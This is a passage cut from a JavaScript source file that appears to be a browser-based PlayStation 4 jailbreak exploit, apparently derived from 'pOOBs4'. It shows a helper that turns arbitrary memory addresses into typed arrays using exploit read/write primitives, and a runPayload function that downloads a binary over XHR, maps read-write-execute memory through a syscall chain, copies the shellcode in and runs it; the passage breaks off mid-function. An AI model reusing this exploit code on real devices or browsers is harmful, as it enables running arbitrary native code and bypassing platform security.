| 1807 | return ptr; |
| 1808 | } |
| 1809 | |
| 1810 | // ChendoChap's from pOOBs4 |
| 1811 | function array_from_address(addr, size) { |
| 1812 | const og_array = new Uint32Array(0x1000); |
| 1813 | const og_array_i = mem.addrof(og_array).add(0x10); |
| 1814 | mem.write64(og_array_i, addr); |
| 1815 | mem.write32(og_array_i.add(0x8), size); |
| 1816 | mem.write32(og_array_i.add(0xc), 1); |
| 1817 | nogc.push(og_array); |
| 1818 | return og_array; |
| 1819 | } |
| 1820 | |
| 1821 | function runPayload(path) { |
| 1822 | // Why xhr instead of fetch? More universal support, more control, better errors, etc. |
| 1823 | log(`loading ${path}`); |
| 1824 | const xhr = new XMLHttpRequest(); |
| 1825 | xhr.open("GET", path); |
| 1826 | xhr.responseType = "arraybuffer"; |
| 1827 | xhr.onreadystatechange = function () { |
| 1828 | // When request is "DONE" |
| 1829 | if (xhr.readyState === 4) { |
| 1830 | // If response code is "OK" |
| 1831 | if (xhr.status === 200) { |
| 1832 | try { |
| 1833 | // Allocate a buffer with length rounded up to the next multiple of 4 bytes for Uint32 alignment |
| 1834 | const padding_length = (4 - (xhr.response.byteLength % 4)) % 4; |
| 1835 | const padded_buffer = new Uint8Array(xhr.response.byteLength + padding_length); |
| 1836 | |
| 1837 | // Load xhr response data into the payload buffer and pad the rest with zeros |
| 1838 | padded_buffer.set(new Uint8Array(xhr.response), 0); |
| 1839 | if (padding_length) { |
| 1840 | padded_buffer.set(new Uint8Array(padding_length), xhr.response.byteLength); |
| 1841 | } |
| 1842 | |
| 1843 | // Convert padded_buffer to Uint32Array. That's what `array_from_address()` expects |
| 1844 | const shellcode = new Uint32Array(padded_buffer.buffer); |
| 1845 | |
| 1846 | // Map memory with RWX permissions to load the payload into |
| 1847 | const payload_buffer = chain.sysp("mmap", 0, padded_buffer.length, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PREFAULT_READ, -1, 0); |
| 1848 | log(`payload buffer allocated at ${payload_buffer}`); |
| 1849 | |
| 1850 | // Create an JS array that "shadows" the mapped location |
| 1851 | const payload_buffer_shadow = array_from_address(payload_buffer, shellcode.length); |
| 1852 | |
| 1853 | // Move the shellcode to the array created in the previous step |
| 1854 | payload_buffer_shadow.set(shellcode); |
| 1855 | log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding_length} bytes padding)`); |
| 1856 | |
| 1857 | // Call the payload |
| 1858 | chain.call_void(payload_buffer); |
| 1859 | |
| 1860 | // Unmap the memory used for the payload |
| 1861 | sysi("munmap", payload_buffer, padded_buffer.length); |
| 1862 | } catch (e) { |
| 1863 | // Caught error while trying to execute payload |
| 1864 | log(`error in runPayload: ${e.message}`); |
| 1865 | } |
| 1866 | } else { |